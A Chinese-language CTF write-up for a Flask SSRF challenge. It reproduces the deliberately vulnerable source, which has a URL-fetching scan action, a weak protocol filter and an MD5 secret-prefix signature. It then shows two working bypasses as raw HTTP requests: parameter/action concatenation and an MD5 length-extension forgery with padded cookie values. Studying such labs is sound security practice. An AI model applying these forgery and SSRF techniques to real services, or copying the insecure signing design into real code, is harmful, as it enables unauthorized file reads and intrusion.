先把题目给的代码格式化一下:
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): # SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt", "r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)
梳理下流程:
首先网页从cookie和url中分别获得action、sign和param
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
过滤掉gopher协议和file协议
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
实例化Task类,将action、param、sign等参数传入进行初始化,接着执行调用exec函数,执行scan或read
task = Task(action, param, sign, ip)
task.Exec()
Exec中首先进行checkSign,根据action和param计算出sign,并和Cookie中的sign进行对比,相同则返回True
hashlib.md5(secert_key + param + action).hexdigest() == self.sign
过了checkSign后,根据传入的action,决定是scan还是read。
scan可以将想要读取的文件内容写入到results.txt中,read则可以读取results.txt的内容并返回。
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
- 那么首先如果要读取flag.txt,肯定是要先使用scan,那么就需要满足以下两个条件:
- md5(secert_key + flag.txt + scan)==cookie.sign
- “scan” in param
而sign的获得程序提供了一个geneSign的页面,可以返回对应的sign,不过强制将action设置为scan。
那么就先尝试读取flag.txt:
首先生成sign
GET /geneSign?param=flag.txt HTTP/1.1
Cookie: action=scan;
返回:
8fadd80c1669c2b127b3e0b142328ae7
接着去读取flag.txt
GET /De1ta?param=flag.txt HTTP/1.1
Cookie: action=scan;sign=8fadd80c1669c2b127b3e0b142328ae7
返回:
{"code": 200}
这样flag.txt的内容就存在results.txt里面了,下一步就是想办法调用read。
- 要使用read,也和scan一样需要两个条件:
- md5(secert_key + flag.txt + read)==cookie.sign
- “read” in param
secert_key的值我们不知道,geneSign因为强制action为scan,也无法获取read的sign。
解1-字符串拼接:
可以注意到,getSign中计算MD5是通过字符串拼接的方式,虽然geneSign中action无法控制,但param是可以控制的。那么只需要将param设置为flag.txtread,MD5中计算的字符串就变成:secert_keyflag.txtreadscan
,这样得到sign后,action的值可以设置为readscan,从而使getSign和geneSign计算出来的sign相同。
def geneSign():
param = "flag.txtread"
action = "scan"
return hashlib.md5(secert_key + "flag.txtread" + "scan").hexdigest()
# secert_keyflag.txtreadscan
def getSign(action, param):
return hashlib.md5(secert_key + "flag.txt" + "readscan").hexdigest()
# secert_keyflag.txtreadscan
GET /De1ta?param=flag.txt HTTP/1.1
Cookie: action=readscan;sign=4e5e1c8941d4223230e96b74f98e11a1
返回:
{"code": 200, "data": "flag{0019ffdb-e50f-4982-93b9-72076746bf48}\n"}
解2-MD5扩展攻击:
具体原理看不懂,放一个连接:https://xz.aliyun.com/t/2563
通过工具hexpand来拿到flag:
./hexpand -t md5 -s 8fadd80c1669c2b127b3e0b142328ae7 -l 28 -m "read"
Append (hex): 80000000000000000000000000000000000000000000000000000000e00000000000000072656164
Signature: 6d00745ca7d27d6d012e21f7fd878977
将append的值和signature的值传入即可。
GET /De1ta?param=flag.txt HTTP/1.1
Host: 15b69d78-edf7-4146-8e81-507dcb285268.node3.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=6d00745ca7d27d6d012e21f7fd878977
Connection: close